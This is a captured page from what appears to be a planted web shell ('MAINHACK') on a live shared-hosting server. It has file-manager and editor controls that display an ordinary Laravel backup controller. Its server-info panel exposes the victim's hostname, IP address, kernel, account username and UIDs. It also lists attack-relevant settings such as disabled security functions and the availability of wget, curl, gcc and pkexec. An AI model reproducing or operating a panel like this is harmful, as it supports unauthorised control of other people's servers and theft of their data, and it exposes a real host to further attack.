[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: BackUpController.php
<?php namespace App\Http\Controllers; use App\Utils\Util; use Illuminate\Support\Facades\Artisan; use Log; use Storage; class BackUpController extends Controller { /** * All Utils instance. */ protected $commonUtil; public function __construct(Util $commonUtil) { $this->commonUtil = $commonUtil; } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { if (! auth()->user()->can('backup')) { abort(403, 'Unauthorized action.'); } $disk = Storage::disk(config('backup.backup.destination.disks')[0]); $files = $disk->files(config('backup.backup.name')); $backups = []; // make an array of backup files, with their filesize and creation date foreach ($files as $k => $f) { // only take the zip files into account if (substr($f, -4) == '.zip' && $disk->exists($f)) { $backups[] = [ 'file_path' => $f, 'file_name' => str_replace(str_replace('\\', '/', config('backup.backup.name')).'/', '', $f), 'file_size' => $disk->size($f), 'last_modified' => $disk->lastModified($f), ]; } } // reverse the backups, so the newest one would be on top $backups = array_reverse($backups); $cron_job_command = $this->commonUtil->getCronJobCommand(); // $backup_clean_cron_job_command = $this->commonUtil->getBackupCleanCronJobCommand(); return view('backup.index') ->with(compact('backups', 'cron_job_command')); } /** * Create a resource. * * @return \Illuminate\Http\Response */ public function create() { if (! auth()->user()->can('backup')) { abort(403, 'Unauthorized action.'); } try { //Disable in demo $notAllowed = $this->commonUtil->notAllowedInDemo(); if (! empty($notAllowed)) { return $notAllowed; } // start the backup process Artisan::call('backup:run'); $output = Artisan::output(); // log the results Log::info("Backpack\BackupManager -- new backup started from admin interface \r\n".$output); $output = ['success' => 1, 'msg' => __('lang_v1.success'), ]; } catch (Exception $e) { $output = ['success' => 0, 'msg' => $e->getMessage(), ]; } return back()->with('status', $output); } /** * Downloads a backup zip file. * * TODO: make it work no matter the flysystem driver (S3 Bucket, etc). */ public function download($file_name) { if (! auth()->user()->can('backup')) { abort(403, 'Unauthorized action.'); } //Disable in demo if (config('app.env') == 'demo') { $output = ['success' => 0, 'msg' => 'Feature disabled in demo!!', ]; return back()->with('status', $output); } $file = config('backup.backup.name').'/'.$file_name; $disk = Storage::disk(config('backup.backup.destination.disks')[0]); if ($disk->exists($file)) { $fs = Storage::disk(config('backup.backup.destination.disks')[0])->getDriver(); $stream = $fs->readStream($file); //var_dump($fs->size($file));exit; return \Response::stream(function () use ($stream) { fpassthru($stream); }, 200, [ 'Content-Type' => $fs->mimeType($file), //'Content-Length' => $fs->getSize($file), 'Content-disposition' => 'attachment; filename="'.basename($file).'"', ]); } else { abort(404, "The backup file doesn't exist."); } } /** * Deletes a backup file. */ public function delete($file_name) { if (! auth()->user()->can('backup')) { abort(403, 'Unauthorized action.'); } //Disable in demo if (config('app.env') == 'demo') { $output = ['success' => 0, 'msg' => 'Feature disabled in demo!!', ]; return back()->with('status', $output); } $disk = Storage::disk(config('backup.backup.destination.disks')[0]); if ($disk->exists(config('backup.backup.name').'/'.$file_name)) { $disk->delete(config('backup.backup.name').'/'.$file_name); return redirect()->back(); } else { abort(404, "The backup file doesn't exist."); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285